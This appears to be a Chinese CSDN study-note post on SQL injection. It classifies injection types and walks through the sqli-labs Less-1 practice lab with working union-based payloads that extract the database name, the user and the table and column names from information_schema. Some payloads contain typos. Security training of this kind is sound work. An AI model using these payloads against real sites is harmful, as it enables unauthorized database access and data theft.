sql注入进阶与相关知识

本文深入探讨了SQL注入的各种类型,包括GET和POST方式的注入、不同参数类型的注入等,并详细介绍了如何通过union、error、boolean和time-based方法进行测试。同时,讲解了如何利用order by和union来探测列数和显示列,以及如何通过信息泄露获取数据库名、用户和版本。最后,展示了如何进行表名和字段名的爆破。
摘要由CSDN通过智能技术生成

SQL注入进阶

SQL注入分类:

根据请求方式不同可以分为

        GET方式请求注入

        POST方式请求注入

根据sql注入点的参数类型可以分为

        整数型注入

       字符型注入

       搜索型

根据sql注入点的反馈类型可以分为以下常见几类

    • union类型的sql注入     联合查询注入
    • 基于错误显示的sql注入   报错注入
    • 布尔类型的sql注入       布尔注入
    • 基于时间的sql注入      延时注入

根据web应用常用的数据库类型分类

    • Mysql数据库注入
    • SQLServer数据库注入
    • Oracle数据库注入
    • Access数据库注入
    • Mongodb

根据sql语句类型分类

    • Select
    • Insert/update
    • delete

sql基础:

user()  返回当前使用数据库的用户

     select  user();

         select  system_user();

         select  current_user();

         select  session_user();

 

version()  返回当前数据库的版本

select  version();

select  @@version

database() 返回当前使用的数据库

select  database();

select datadir()  查看路径

常用函数

拼接列:

select concat(1,2) 

select concat(1,’~’,2); 

select concat_ws(‘~’,1,2);

多行合成一行:

        select group_concat(user) from users;

 

多列合成一列:

        select concat(user,password) from users;;

 

多列合成一列再合成一行:

        select group_concat(concat(user,password)) from users;

select group_concat(concat_ws(‘~’,user,password)) from users;

查看前20个输出的结果(20个为right)

select left(group_concat(concat_ws(‘~’,user,password)),20) from users;

 

查看固定输出位置(120):substr/substring/Mid

select substr(group_concat(concat_ws(‘~’,user,password))1,20) from user;

sql注入:

id=1

       select*from xxx where id = 1 and 1=2

   1=2永假

如果页面上为1,应该输出结果

但是后面有1=2时页面没有结果显示,说明此代码执行

如果页面没有变化,继续显示,说明代码为~ id = 1 and 1=2’引号里的为字符串类型,且此内容无法识别执行 

输入一段代码,放到sql语句里能执行,即为sql注入

注入点基本顺序:

and 1=1

and 1=2

and 3-2=1

and 3-1=1

‘  “  )  ‘)  “)  ‘))  “))测处页面异常,代表为此代码执行,或者漏洞为这个

进行进一步测试:

‘ and 1=1

‘ and 1=2

‘ and 3-2=1

‘ and 3-1=1

-------------------------------------------------------------------------------------------------------

通过order by  判断列数

1‘ order by 2 --   判断两列

select aa,bb from xxx where id = ‘1’

通过union 判断显示位

Select aa,bb from xxx where id = ‘1’ union select 1,2

1' union select 1,2 –

1,2处可以写成sql函数,输出想要的信息

显示数据库

1' union select database(),2 –

用户

1' union select user(),2 –

版本

1' union select version(),2 –

数据库路径

 

通过order by 判断有计列

通过union 判断显示列

通过显示列得到需要的内容

 

 

 

 

 

 

测试

输入id=1有信息,

分别输入id=1 and 1=1;

                       1 and 1=2;

信息不变,则证明and后面代码未执行

继续输入id = 1’ 开始报错,证明此代码执行,而且’为注入点,为字符型注入

继续测试:

2’ and 1=1 limit 1 – a  页面没变

2’ and 1=2 limit 1 – a  页面变化

此时确定了注入点,确定sql表有几列:

2' order by 3 limit 1 – a  页面有信息

id=2' and 1=1 limit 1 – a

http://localhost/sqli-labs-master/Less-1/?id=2' order by 4 limit 1 – a   开始报错

证明只有3列,进行联合查询union

输入http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 limit 1 – a

发现只有23显示则再23处进行信息输出即可

/Less-1/?id=-1' union select 1,database(),user() limit 1 -- a

得到数据库为security,用户为root

进行爆表:

 

/Less-1/?id=-1' union select 1,

(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),

version() limit 1 -- a

知识点:information schme  由内存中生成

 

schemata 存放所有数据库名

 

              select * from schemata;与show database;效果相同

    

              schema_name   数据库表名

Tables    存放所有数据库中的所有表

             table_schema  数据库名

             table_name   数据库所对应的表的名

            select table_name from tables where table_schema='dvwa’;

(select group_concat(table_name) from information_schema.tables where table_schema = 'security' )

爆破字段Columns 

    • TABLE_SCHEMA   数据库名
    • TABLE_NAME  数据库所对应的表的名
    • COLUMN_NAME   表名对应的字段名

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,

(select group_concat(column_name) from information_schema. columns where table_schema = 'security' and table_name = 'users' ),3 limit 1 – a

得到字段如下:

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值